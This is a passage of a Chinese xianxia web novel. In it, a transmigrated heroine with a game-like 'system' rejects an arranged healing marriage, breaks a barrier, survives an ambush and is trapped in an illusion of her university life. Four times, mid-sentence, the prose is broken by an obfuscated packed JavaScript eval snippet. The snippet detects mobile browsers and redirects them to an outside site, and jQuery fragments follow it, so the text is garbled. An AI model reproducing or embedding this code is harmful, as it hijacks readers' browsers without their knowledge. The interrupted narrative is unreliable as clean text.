“因为,那个人的体质有些特殊,身弱之人与之双修怕是极易损伤经脉。不过,”男子目光灼灼地看着崔羽落,“姑娘体质极佳,若能与我家公子双修,于姑娘的修为提升,定能助益良多。” “当真?” “当真。” 崔羽落沉吟道:“但我对你家公子,还有你,都没有任何了解,如何能够相信你们?” 男子又从怀中拿出一张纸。 崔羽落看到纸,觉得有些头疼。所幸男子并未直接把纸递给她让她自己看,而是伸手将那张纸放于二人之间,用另一只手指着其上的一行行字。 “姑娘你看,这上面写着我家公子的姓名籍贯以及生辰八字。不过这不是重点,重点是这末尾的内容。” 崔羽落的目光随着他的手指下移。他所指的地方,是一行字,以及在最末,是一个图章。 “玄昭门横苍长老慕容随二月初七书。” 男子仔细地看了看图章:“姑娘大概不认识这图章,但你瞧,这中间的水波纹,便是玄昭一门的标识。而这图章,则是横苍长老的私印。” 崔羽落愣了愣,不知道怎么接话。 男子却认真地从怀中拿出一块玉牌,将正面展示给崔羽落:“先前事务繁杂,我头脑也不甚清楚,还未介绍自己。如今将前因后果悉数告知,还望姑娘——” 他声音涩了涩,却没能继续说出话来。崔羽落看着他微变的神色,心道:唉,由它扣吧,反正生命值还很多。 “——总之,姑娘若有什么不满意的,尽可与我说。力之所至,当尽力为之。” 崔羽落看着他有些湿润的眼睛,心中仍有一堆问题。 谁知这位还没讲清前因后果,反倒是自己先进入状态,被他心中的不知什么往事给触动了。 两人干坐良久,那男子似是调整好了情绪,平静道:“在下名为季回澜,乃玄昭门的一名微不足道的外门弟子。我资质平庸,又不善言辞,从小到大一直独来独往。随着年岁增长,同门的弟子们渐渐形成了一些小的——” 他思考了一会儿,继续道:“帮派。虽然不是很确切,但我也想不出更合适的词,姑娘莫怪。我资质平庸又比较孤僻,有时就会被那些同门欺压。” 崔羽落静静地听他讲述,见他顿了顿,低低笑了一声:“这些都不重要。我要说的是直到我遇到了公子,这一切才开始改变。” “他是横苍长老游历时带回玄昭门的,在被带回来之前,他一直在四处流浪。”季回澜再次停顿,“不过这也不是重点。” “他天赋极高,自从被横苍长老收为弟子,便进步神速,一日千里,年仅十二岁的时候,就已成为仙门传说中的术法奇才。而我遇到他的时候,他便是十二岁。” 他垂下眼,笑了笑:“不过这还不是重点。” 崔羽落跟着他,无声地笑了笑,没有催促。 “几个月前仙魔大战,公子在那一战中受了重伤。离得很远,我并没有看到具体场面,我只看到魔宗人多势众,他站在诛魔大阵中间全力维持着阵法不破。但当时仙门弟子多数都去了其他方位,魔宗便趁虚而入。” “然后法阵坍塌了,他被反噬,受了很重的伤。更糟糕的是,他被魔宗的人抓了去,在地牢里受尽折磨,前一天才被玄昭门的人解救出来。” “若姑娘能与他成婚,并一同双修以助他恢复,我必将不胜感激,姑娘有什么需求,我都会尽力而为。” 季回澜微微躬身:“但若姑娘不愿,那也不强求,这个乾坤袋里有足够的灵石,足够姑娘离开山谷并快活地过一段时间日子。” * 崔羽落看着关上的门,扫过桌上形容精致的乾坤袋,叹了一声。 距离下一日还有约三个小时。季回澜给了她一个时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419912|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的考虑时间。 她干坐了一会儿,猛然想起自己先前在魔宗地牢也受了重伤,便自行检查了一下身体。 ——之前几乎贯穿半个后背的剑伤,如今只剩一点浅淡的疤痕。手指抚摸上去竟也没有凹凸不平之处,所触到的肌肤已然光滑如前。 她暗暗感慨:修真界的伤药就是好用。 转念又想:也不知昨天系统所说的增益里面有没有包含提升恢复能力。 思及系统,她又头疼了起来。她兜兜转转地到了床边,鞋子没脱便趴在床上。片刻后却忽然弹了起来,快步走到门口。 “知啦”一声推开门,眼见院内月朗星稀,树木摇曳,她却奇异地平静了下来。 站在门口呆了一会儿,崔羽落心道:还是跑一会儿吧。 随后她出了门,踏入院子里。 正如季回澜先前所说,整座院落位于一处山谷。抬眼望去,两侧山坡上林木成海,在月光下愈显静谧。而不远处灵力流动,显然又是一处结界。但这结界在一片世外桃源般的风光中,并不显得有丝毫突兀,反而如琉璃一般点缀在山水之间,平添一丝灵动。 风水宝地。 脑海中冒出了这个词,崔羽落心一乱,迈开脚步,跑了起来。 她越跑越快,夹杂着草木清香的凉风拂过耳畔,使她因运动微微发热的身躯没有那么燥/热。 拐过一个弯,忽然有女子的交流声传来。 “公子现在如何了?” “正在卧床休息。”那声音忽而低了下去,“公子现在情况不太妙,也难怪长老要找个身强的女子与他成婚。” “怎么?他不是受了重伤灵脉尽毁,才要找个女子与他双修疗伤吗?” “是啊,但你不怎么去他那个屋,所以不知道,他回来之后,不知为何灵力乱窜,稍微靠近一些就会被他误伤呢。” “谁知道到魔宗一趟,灵脉有没有被魔气染上。莫非……他那控制不住的灵力,和魔宗有关?” “之前在玄昭门,不就有人说他的体质有问题么。先前修仙也算是抑制了些那戾气,如今受了重伤控制不住了,可不得伤到别人。” “哎,所以才要找个结实一点的女子去吸掉他的戾气,寻常女子怕是半天不到就要昏倒过去了。” 崔羽落站在原地,那两名女子走近,看到她的身影,明显地一惊。 她平静地问:“所以,找个强壮的女子,是因为抗揍,不会被打成重伤,对吗?” 侍女抿了抿嘴唇,像是经过了一番思考,终于答道:“回姑娘,是的。” 崔羽落压低声音,和善地笑笑:“没事的,姐姐们,和我说说嘛,他的伤和戾气到底是怎么一回事。” 侍女便大胆地说:“前几年,修真界有个传说,那便是玄昭门出了个术法天才,十年磨一剑,霜刃未曾试。但谁知前些日子仙魔大战,他终于小试锋芒,却什么作用都没起,便叫魔宗打成了重伤,还被抓走了。” 另一个侍女补充道:“近日修真界口风一转,先前的传说如今听来只觉嘲讽,昔日的天才俨然已沦为了笑柄。” 5. 夜游 听着侍女离去的脚步声,崔羽落在原地呆了呆,最终像是下了决心似的,转身向侍女所说的季回澜住处走去。 她站在夜空下,深呼吸几次,抬手敲了敲屋门。木门在远处的树叶沙沙声里“咚咚”地响了几下,显得有些空洞。 季回澜很快开了门,看到她,很是惊讶,但很快便笑道:“姑娘,你想好啦?” “还没有。我只是有一些问题想要问清楚。” 季回澜引她走入房间,在桌前落了座:“你问吧。” 桌子上摆放着几个倒扣着的杯子,不远处的床铺没有动过的痕迹,而季回澜衣衫整齐,似是刚刚才回到房间。 崔羽落收回了目光。 心想着“他那戾气是怎么一回事,找人成婚是不是为了压制他的戾气”怎样开口更礼貌一些,嘴上却已说出了别的话。 “那个……你家公子找人成婚,只是为了找个人与他双修疗伤吗?” 季回澜略微思考,答道:“双修疗伤不假,但其实吧……找人成婚,也并非是他自己的意思。” “那是其他人的意思?” “确实如此。其实在那次仙魔大战之前,他一直在仙门当中负有盛名,毕竟年少成名,之后又一直潜心修炼和钻研术法,又是一贯严苛的横苍长老的关门弟子,听上去就很厉害是不是?” 崔羽落点点头:“确实。感觉很厉害的样子。” 季回澜笑笑:“是啊,但负有盛名的同时,免不了被许多人挑剔。比如就总是有人说,他鲜少出门,其实是早已江郎才尽,盛名之下其实难副,怕被人揭穿,所以才天天躲在门派里。更有甚者,有人说他十二岁一战成名的那一次,本就是抢了其他人的功劳。” “嗯……站得高了,被很多人看着,确实会有人盼着他忽然掉下去。” “是啊,然后就是前些日子的仙魔大战了。他被反噬受了重伤,又被魔宗掳了去,从这时就开始有人说他是因为心虚,才自个儿跑掉了。至于被魔宗掳走,只是玄昭门挽尊的借口。” 季回澜笑了笑,神情有些苦涩。 “然后就忽然冒出来很多人,开始就他被打成重伤这事肆意嘲讽,说他雨点大雷声小,一直被玄昭门天材地宝地养着,被一堆称赞的话供着,结果也就那样,十年磨一剑,刚出就被折。” 崔羽落心想:这……虽然有点惨,但确实有点塌房的感觉。 “然后玄昭门当时也没有回应什么,这也不好回应,只能悄悄地派人去魔宗找,也找着了,还顺带着救下了一些被魔宗抓走的人。” 崔羽落有些困惑:“为什么说……不好回应?” 季回澜耸耸肩:“怎么回应呢?要么就是说确实是他近年来懈怠了,不够努力,辜负了一众仙门同道的期盼,今后一定会好好管束,让门中弟子都好好练功。要么就是说,哎呀,那是个误会,大家看错了,被打成重伤抓走的不是他,而是其他弟子。至于他本人,其实已经金盆洗手退隐江湖,找人结婚生子,去过‘采菊东篱下悠然见南山’的日子了。为什么之前大家不知道呢?当然是因为他低调啊,高调地宣布金盆洗手和没洗差不多。” “你方才说,当时没有回应,意思是后来回应了?” 季回澜点头道:“是。后来回应了,但具体那些长老议论了些什么,我也没法知道。再后来就是他被救出来了,要和你成婚。” ——这是不是有些跳跃? “所以,玄昭门回应的是,他已经金盆洗手归隐田园,还准备和人成婚生——”她卡了卡,又继续说,“是么?” “是这样。不过,有一个地方不太准确。” “哪个地方?” “不是‘准备和人成婚’,而是已经成婚。” “已经?这两个有什么区别吗?” “准备成婚,就是说还没有举办婚礼啊,叫他们知道了,还得装模作样地发个请帖邀请一下仙门百家。已经成婚的话,自然就不用再办一场婚宴了。”季回澜轻松道,“这意思是说,他已经低调地和人成了婚,并且低调地和妻子过上了快活日子,算是彻底不想和仙门百家再有什么往来了。” 崔羽落点点头道:“确实,这样一来更能体现出金盆洗手的诚意。高调宣布金盆洗手的人往往都不能如愿,看戏的人很多,告诉别人金盆洗手就像是在催促事情快来找上自己一样。” “姑娘聪慧。” 崔羽落意识到谈话有些跑偏,索性直接发问:“听说他被救回之后,体内灵力有些特殊,是么?” “不瞒姑娘,确是如此。” 她正色道:“会控制不住地往外发出戾气,是么?” 季回澜看了看她,回道:“……是。” “这戾气会伤人,是么?” “是也不是。”季回澜顿了顿,“这戾气看似凶险,实则不然。身弱之人会受伤,但身强之人不太会。” “不太会?”崔羽落敛眸笑了笑,却笑不达眼底,“季公子,若是一个人会控制不住地伤到别人,你们要做的,应该是去把他治好,让他不再伤人,而不是找一个耐造打不死的人由他伤。再强壮之人也是会受伤的,若是看她好得快、很难死,就让她去当沙袋,那可太……不把人当人了。” 季回澜听到这番话,一时竟说不出别的措辞。 崔羽落站起身,凉凉一笑:“还望你们尽快找个合适的大夫,既可使他不再伤人,也能让他那一身伤好得快一些。”说罢便出了门。 到了门外,补充了一句:“那戾气解决好之前,不要去祸害其他姑娘了。”便带上门走进了夜色。 离那间房远了些,她稳步走着,抬眼望了望夜色中暗芒流转的结界,心想:方才一时激动,忘记让季回澜把我放出去了,但我那话又说得有点严重,这会儿若是回头再去和他说什么,未免有些尴尬。 她心中已有了打算。 她将系统唤了出来,说道:“现在生命值是100,能否消耗生命值,短暂获取一些法力?要求不高,能助我到结界外就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419913|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。” 【因宿主今日活力值还未达标,不能进行此操作。】 “可是那天我这样做的时候,活力值不也没达标吗?” 【那天是宿主绑定系统的第一天,第一次进行交换无需其他条件。】 “……” 【温馨提示,距离下一日还有一个时辰,当前活力值为60,还未达标,请宿主继续努力。】 【此外,绑定系统第三天,对宿主开放信誉值系统,当前信誉值为100。】 ——三天。她竟然从昨天一昏昏到了今天晚上么? 【若是有一天活力值未达标,将会根据具体情况扣除信誉值,信誉值低于100时不能进行交换生命值操作,信誉值低于95时无法根据前一日活力值获得增益,信誉值低于90时将剥夺宿主的主动权,安排一些强制性任务,未能完成会受到对应惩罚。】 【如有更多问题请提问,系统竭诚为你服务。】 崔羽落叹了一声,迈动步伐开始跑步。她并不熟悉周围环境,便挑着适合跑步的路跑着。 她不清楚现在是什么时令,此刻夜风微凉,送来阵阵花香,颇为舒适惬意。 她步履不停。不知过了多久,她身上出了一层薄汗,双腿有了些不明显的沉重感。 她缓了缓步伐,伸手捞了把长发,使后颈露在夜风里:“现在的活力值是多少?” 【回宿主,当前活力值80,请宿主再接再厉。】 走了两步后,感觉再次提速有些吃力,崔羽落索性快步走了起来。又过了不知多久,她听到一阵水声。 她有些好奇,便循着声音跑了过去,果然看到一条清浅的小溪,在月光下缓缓流淌。两畔被溪水润湿的石头泛着光泽,与随风晃动的青草相映成趣。 顿了脚步,她心里却浮上一丝奇怪的感觉。于是她不再向前,在离小溪有着两三丈的地方,抬眼而望。 却见华光流转,在晴朗夜空下不断变幻着光泽,和在远处所见到的大不相同。 结界就在眼前。 【恭喜宿主,活力值已达标。】 看着眼前的结界,崔羽落却犹豫了起来。 ——要不要跑呢?季回澜给的待遇确实不错,她出去之后又没有个地方能安顿,不如……先待一段时间试试? 反正有系统加持,那个人也不能强迫她什么。 她闭上眼,抬手触碰到结界,感受着其中的灵力涌动,心有些乱。 ——卷钱跑路么?听上去……好像有点像骗婚。 她深吸一口气,那不知道名字的花香却又随着夜风飘了过来。 ——骗婚还是跑路呢? 她睁开眼,再次看向眼前的结界,她的目光却越过了它,落在了远处溪流上。 ——还是跑吧。 她再次抬手,抚上那无形的边界。 忽而有个声音自身后响起。这声音如山间溪流,清冽悦耳,还带着一丝熟悉感。 “要跑么?” 6. 暗香 崔羽落闻声转头,见一颗树下静静坐着个人。 树上洁白的小花随微凉的夜风簌簌而动,身着墨色衣衫的少年斜倚着树干,盘膝坐在一块深色的平整石头之上。他眉眼沉静,不知在此地坐了多久。 月光皎洁,暗香浮动,那袭深衣反而显得有些格格不入。 ——装神弄鬼。 崔羽落这样想着,口中回道:“和你有什么关系?” 那人笑了笑:“没有关系就不能问问么?” “呃……可以是可以,”崔羽落弯了弯眉眼,“只是我也可以不回答。” 说罢,她询问系统:“现在我可否能借用一些法力呢?” 【可以。】 “那你知道怎样可以出去么?除了直接把它打碎,”崔羽落想了想,“或者能辅助我搞一个传送阵之类的东西,不用太厉害的法术,够我一个人出去就行。” 【可以,交易完成后宿主跟随我的提示完成就可以。】 【再次确认,是否确认交易?】 “是。” 【选择消耗的生命值,请宿主在10~100之间选择一个值,注意该数值需为十的倍数。】 “不用很多,10吧,”她又道,“不,这次要20,应该足够我出去吧?” 【足够。】 崔羽落站在原地,增加的灵力开始在四肢百骸流转。 蓦地,她嘴角涌出血丝,身体如同被抽走了活力般变得虚弱无比。她只觉身躯沉重如铁,不受控制地下落,像是要坠入深渊。 四周漆黑黯淡,寂静得叫人发疯。 气息滞在胸口,不上不下。而她感到自己身在空中,动弹不得。 不知坠落了多久,四周渐渐浮出一点色彩。那色彩渐渐割破了黑暗,占满了她的视线。 她竭力去分辨那些光影,又在辨认出颜色的那一刻如坠冰窟。 是暗红。 暗红在脑海中逐渐清晰,化成或已经凝固或正在喷涌的鲜血。周遭的寂静被骤然打破,利刃穿透人/体的声音此起彼伏地响起,而人的嘶喊声成了底色,诡谲喑哑。 血腥气缓缓蔓延,她却猛地从虚空中抽出一把刀。 刀光斩断暗夜,血色无影无踪。 崔羽落睁开眼,发现自己正蹲在地上,一只手上有少量血迹。 她皱眉向下看去,见一片草叶上沾着血,边缘颇为锋利。 余光捕捉到景象,她惊诧地抬眼,眼前林海无边,群山染翠,溪流潺潺奔向远方。 ——结界消失了。 ——扣二十点生命值怎么这么大动静? 【绑定系统第一天消耗生命值没有副作用,是新手保护机制在生效。交换操作本就含有一定风险,还请宿主慎重考虑。】 【另,恭喜宿主,达成“大力出奇迹”成就。】 呆了呆,她后知后觉地想:“结界……我打破的?” 身后传来那人的声音:“你要去哪?” 崔羽落转身,见那人仍坐在树下,一副看热闹的模样。 “外面。” “外面?” “怎么?”崔羽落挑眉道,“你也要逃出去么?” “我?”那人的面容沉在暗处,看不清神情,“是啊。” “噢,你在这里坐着,就是在看有没有人能打开这结界,然后再前人栽树后人乘凉,跟着跑出去。”崔羽落擦了擦嘴角血迹,“但你为什么要出去?” “被关久了的人,总是想要跑出去的。” “走吧。” 崔羽落在原地站着,见那人不动,说道:“你不是要出去么?快走吧,一会儿万一有人追出来,现在走还能跑远一些。” 那人终于动了。他缓缓起身,抖了抖衣袍下摆落上的碎花,迈步走了过来。 他步伐有些不自然的僵硬,像是受了伤还没好全的样子。 随着步伐移动,崔羽落看清了那人的脸。 她愣在原地,直到那人走到她身边,方才回了神。这人年轻的面容很是清俊,像是鲜少见到阳光似的,显出一种冷然的苍白。 三日前地牢里助她脱困的少年、修罗场内接住她的仙门弟子,忽而与眼前之人重合。 二人隔着一段距离,并肩缓步而行,足下草叶沙沙作响。 “……是你?” “是我。” “你出去之后要去哪?” 少年想了想:“四处走走。” “你对这附近熟悉么?” “不熟悉。” “噢,”崔羽落照顾他的速度,有意地放慢了步伐,但那少年看上去仍有些吃力。 沿着溪流走了很久,目之所及仍是丛林,崔羽落留意着那少年的动作,再次唤出了系统。 “我刚到这个世界三天,其中一天一直在睡觉,不知道有没有新手福利?除了提升法力的。” 【宿主具体指哪一方面呢?】 “比如指引我怎样走可以快速到达附近的城镇,”崔羽落无奈道,“总得先打打工挣点生活费吧。” 她忽然又想起季回澜之前所说的给她足够的盘缠,叹了口气,觉得自己有些鲁莽。 【可以的,宿主先沿着小溪向前走,到了需要变换方向的地方,我会提醒宿主正确的方向。】 两人一路无言,直到眼前的树木更加密集,崔羽落出声道:“月黑风高,你有没有觉得……” 林木沙沙作响,少年见她刻意卖关子,顺着她问道:“觉得什么?” “很适合做一件事。” “什么事?” 崔羽落笑了笑,语气轻快地说:“孤男寡女的,你说说是什么事?” 少年不答话,崔羽落侧目看了看他,略微加快速度向密林中走去。 “嗖——” 从暗处骤然射出一支箭,箭上光芒耀眼,将静谧夜色撕裂开来,所过之处留下一条灼热的裂缝。 与此同时,更多的箭矢自那缓缓变大的裂缝中窜出,它们整齐划一,直指向同一个目标。 目标便是崔羽落。 数不清的箭矢一时与崔羽落近在咫尺,而那一马当先的光箭距她的咽喉仅有不到一尺。 少年站在一旁,不待他作出任何反应,无数盈满杀气的箭已然与他错身而过。甚至有几支箭在将要刺中他的时候诡异地拐了个弯,直直冲向自己真正的目标。 眼前少女的身形却忽然模糊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419914|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 他只觉身旁的夜风骤然改变了流向,像是凭空出现了漩涡,将一切没有意识的东西吸附过去。 地上的草叶和花瓣随之腾起,向同一个方向狂奔而去,他不由自主地抬手掩面,暗香拂过,竟是也要被那漩涡尽数吸走。 风浪渐渐平息,他抬眼望去,见到劲风卷着花叶,在夜色中向同一个方向环绕,崔羽落站在中心,长发随风舞动,面容却看不真切。 而那些箭矢不知何时落在地上,成漩涡状碎落一圈又一圈,宛如静止的涟漪。 崔羽落远远地看了他一眼。 随后她不清不楚地说了句话。 “你瞧,阴谋诡计在绝对的战斗力面前根本不算什么。” 他看见她的发丝渐渐落下,与此同时那些流转的风变了方向,挟着细碎的草木与落花卷向了另一个地方。 那边却有了些动静,刀剑出鞘的声音自暗处乍现,几十个黑衣人向二人突袭而来。更远处传来一声弓响,巨大的箭已在弦上蕴满了灵力。 崔羽落动作极快,转眼那些黑衣人已被击退。而那支箭已然射出,一声破空的箭鸣之后,少年看到它已被崔羽落捏在手中。 她拿着那支已变得暗淡的箭,转头对他说:“月黑风高,孤男寡女,正适合并肩作战。” 暗中却有人无声地笑了笑,随后身躯在原地忽然消失,只余手中弓弦上一抹稍纵即逝的余光。 崔羽落看着眼前突然出现的男子,目光下移,看到了已在她咽喉划出一道血印的弓弦。 “我这样一个无门无派的小女子,何必劳烦这么多人埋伏在此处——” 血顺着脖颈缓缓流下,她只觉说话困难。 她忍着疼痛,一字一句道:“我劝你……还是放开我,否则……我就杀了他。” 她动了动手指,一片锋利草叶悬空静止,边缘却沾了新鲜的血迹。血一滴一滴地留下,顺着叶片的纹路落在地上。 血迹的主人正是那少年。 那叶片悬在他颈侧,随崔羽落的手指,又缓缓向前了一毫。 黑衣人顿了顿,盯了她片刻,而后袍袖一卷,与那些被击退的黑衣人一齐遁入了黑夜。 崔羽落按了按脖上的伤处,控制那片草叶落到地上,朝那少年走了几步,颇为抱歉地说:“不好意思啊,只是……他快要割断我的动脉了,我还不想在这荒郊野岭死掉。” 那少年并不答话,崔羽落困惑地再向前一些,却蓦地被一股强悍力道击退了数步。 一惊之下,她瞪大双眼看向那少年。却见他原本平静的眼眸中泛起紫芒,身上衣袍倏然开始猎猎翻动,以他为中心,空中暗光流转,比先前结界上的灵力波动汹涌数倍。 他缓缓抬眼看向崔羽落,眼神冰冷,眸光暴戾如妖邪。 他迈动步伐朝她走来,虽仍有些重伤所致的僵硬,但整个人的气场已与方才全然不同了。 黑色袍袖下,苍白的手逐渐抬起,周遭灵力随之凝聚。 手指靠近嘴边,缺乏血色的唇开合,缥缈的声音很轻—— “寻神救苦酬予愿,无生路上成因果。枷锁何离,生死何知……” “——此心转破,苦海共沦。” 7. 校园 下一瞬,崔羽落发现自己动不了了。她的四肢像是被看不见的丝线死死缠绕,纵使她竭力驱动,也不能挪动分毫。 眼前人越走越近,她被迫面朝着他,与他对视。 周遭声音仿佛随着那几句吟诵消失不见,心跳声和呼吸声在诡异的安静中被无限放大。 她仰头盯着眼前人,只见少年已离她不足三尺。而那双仿佛没有任何情感的眼睛冰冷而纯净,像孤寂清澈的水面。 忽然,她脑海中被放大的呼吸和心跳变得不同了,她仔细辨认,却发现那渐渐变得清晰的声音来自另一颗跳动的心脏。 她缓缓垂下眼,看到对面那袭深衣猎猎翻动,像一片舞动的夜色,而在胸膛的位置,却是一片刺目的荧光,在暗夜中光彩夺目。 身边有风丝丝刮过,她感到了一丝凉意,随后那风竟逐渐大了起来,风声凄厉如鬼怪。 ——风声? 崔羽落倏地抬眼,却发现周围的景象正在飞快地变幻,最后停留在一个静谧安宁的早晨。 但身躯仍被死死束缚住,她只能一动不动地站在一处,被迫地看着眼前的景象。 原本站在她对面的少年不见了踪迹,取而代之的是青葱的树木和平整的道路。 看清了眼前之景的崔羽落陡然一震。 树木之后,竟是林立的高楼和行走的青年男女们。行人身着现代服装,与同伴放松地闲聊,偶尔有几句话传入崔羽落的耳中。 “靠靠靠,早八好像点名了!” “再不走快点,早十的签到也得错过了。” “……” 她竟回到了大学校园。 目光下移,她看到“自己”身穿卫衣和长裤,手中举着智能手机,而从听筒里传来了电话那头人的声音。 她发现自己不能控制“自己”的身体,四肢移动时她没有丝毫感觉,仿佛只是个被困在这幅身躯内的游魂。 “你好,请问是崔女士吗?你昨天在我这里中了500万奖金,今天方便的话请带齐东西……” “……” 下一秒,眼前景象又变了。 她仍穿着那身衣服,走在校园的人行道上,兜里的手机忽然震动起来。她看到“自己”接起电话,然后听到了一个熟悉的声音。 “姐姐,你今天在学校么?今天是你的生日,我和爸妈刚刚下飞机,有没有感到惊喜啊……” 她有些头晕目眩,然后她看着“自己”打开了微信列表。最上面的一行,是一个标着“2”的红点,和一个她很熟悉的昵称。 点开聊天框,映入眼中的是一个写着“生日快乐,开心每一天”的红包和一条消息。 “吃好喝好玩好,希望我的宝贝女儿永远快乐。” 红包和信息来自联系人“上善若水”。 …… 片刻之后,她发现自己终于能动了,脚踏实地的感觉出现在她的脑海中。此刻的她正站在实验室内,身上穿着雪白的实验服。 眼前的实验台上是一只小白鼠。 前方传来一个中年女人温和但冷静的声音:“今天我们要做的是小鼠的胸腹腔解剖实验……” 她愣愣地站在原地。 ——又穿越了么? 她不知道那节课是怎么结束的,她茫然走在楼梯上,身边人潮涌动,人声鼎沸,像一条欢快的大河。 河流渐渐入了海,晚高峰的校园,她被人潮带动着向一个方向而去。 她心想:“果然是饭点了。” 傍晚的天空呈现出柔和的橙色,余晖染红了流云,使天空如一幅梦幻的油画。 崔羽落却忽然停步。 ——不对。 ——这不是真实的。 这个念头在她脑海中逐渐清晰了起来。 “难道是前面那人的几句话,使我进到了一个幻境当中?” 思及此处,她咬了咬下唇,却见身旁一名同学骑着车,为了避开另一侧的电动车,猛然朝她这边扭动车把。 共享单车从她身体内穿了过去。 她低头看着那个女生撑在地上的脚,无声地笑了笑。 随后她尝试运功,四肢百骸内的灵力缓缓流动,最终聚集在心口。 她骤然发力。 灵力轰然炸开,她只觉心口剧痛,便眼前一黑,失了意识。 不知过了多久,她张开双眼,发现自己又回到了先前的那片丛林。她仍保持着先前受困的姿态,那少年也以先前的姿态站在她对面。 眼前人的周围仍是暗光流转,但那暗光此刻看来凶险无比,正在激烈地流窜。 仔细观察了片刻,崔羽落发现它们似是在攻击自己。 但不知是身躯被束缚的原因还是系统增益还未消退的原因,她并没有被击中的感觉。 她仍然被牢牢困住,无法活动自己的身躯。但随着那些攒动的灵力渐渐地减缓了攻势,周围的光芒渐渐暗淡了下去,眼前少年身上浮动的光影也渐渐地褪色。 她注视着眼前人的眼睛,那双眼仍是冷漠无比,但其中的光芒正在消退。 暴戾和冷漠褪去,那双变得有些暗淡的眼睛显出一分空洞的寂然。 过了不知多久,那些在空中旋舞的灵力终于平息,眼前的少年静默地站着,像一尊没有灵魂的雕塑。 她感受到了自己的心脏规律地跳动了起来,血液缓缓流过全身,在有些冰凉的躯体内奔流不息,她的身躯逐渐变得温热和鲜活。 她感受着足下略微发软的泥土,周围草木和虫鸟的声音流入她的耳中。夜风拂过耳畔,将一缕发丝吹到她脸颊上。脸上有些发痒,使她忍不住用手将它拨到了一边。 她恢复了身体的控制权。 缓缓将双手握成拳,又缓缓松开,她心想:真奇妙啊。 退后一步,她发现眼前人似乎还没有恢复意识。 她抬起手想要拍拍少年,但又觉得二人并不熟悉,此举怕是有些不妥。于是她只是将手在他眼前晃了晃,口中唤了一声:“你……能听见我说话么?” 忽然,那只手被攥住了。 那只手如同浸在了冰水里,她只觉握住自己的像一个寒夜里快被冻死的人。 她看着眼前的少年,却见他抬手握着她,周围又忽然凝聚起灵力。灵力缓缓流转,又缓缓停下。 但它不是要消散无踪,而是再次聚集攻势,将要攻向某个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419915|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 心道一句“有完没完”,崔羽落抬起手。 一记极其利落的手刀后,少年闭眼倒地。 周围流动的灵气忽然消失不见了。 夜风轻柔,虫鸟交鸣,草木清香,溪流婉转,仿佛这只是个非常普通的夜晚。 崔羽落看着倒地的少年,叹了口气。 “真是辛苦你了,打了我这么久。”她环视周围,未发现什么异常,“可惜我开挂了。” 不知是不是要制裁她口嗨的缘故,一口血骤然涌了上来。 她吐出一口血,随后身躯渐渐虚弱,五感随之变得模糊了起来。 她又一次地失去了意识。 * 再次醒来时,她发现自己躺在床上,温暖的阳光自门窗照射进来,整个房间都笼罩在柔和的日光中。 她仍感到自己有些虚弱,便呼唤系统:“为什么会这样?只是扣除了二十点生命值啊,怎么又是吐血又是昏厥的?” 仔细回顾了一下昨天夜里的经历,她又道:“莫非……是他的那些控制和伤害起了效果,让我虽然一开始没有受伤,但增益时间过了就受到反噬了呢?” 系统很快地进行了回答。 【回宿主,我想你大概是对“扣除二十点生命值”这个概念的理解有一些偏差。】 “为什么说有一些偏差?”崔羽落有些困惑,“第一天扣了10点生命值但无事发生,就如你所言,这是新手保护。但20点生命值……为什么给我一种差点就要领盒饭的错觉呢?” 【宿主,你好好思考一下,单看“20”这个数字,的确是比较小,但你的生命值一共也只有100点,20点生命值相当于消耗了宿主五分之一的生命。】 【五分之一这个数字,宿主大概能理解吧?】 “……” 【再次提醒宿主,消耗生命值需谨慎,请宿主不要轻易使用此操作。】 【此外,温馨提示,前一日活力值已清零,鉴于宿主昨天的表现,当前活力值为15。】 【当前生命值为80,信誉值为100。】 【各项数值如上,请宿主再接再厉。】 崔羽落叹了口气,却见先前那两名侍女端着托盘走了进来。 看到托盘,她神情一变,便听见一名侍女说:“姑娘,事不宜迟,我们来帮助姑娘更衣。” 顿了顿,崔羽落缓缓开口:“这当中是不是有什么误会?” 另一名侍女却“咯咯”地笑了笑。 崔羽落十分困惑:“怎么了?” 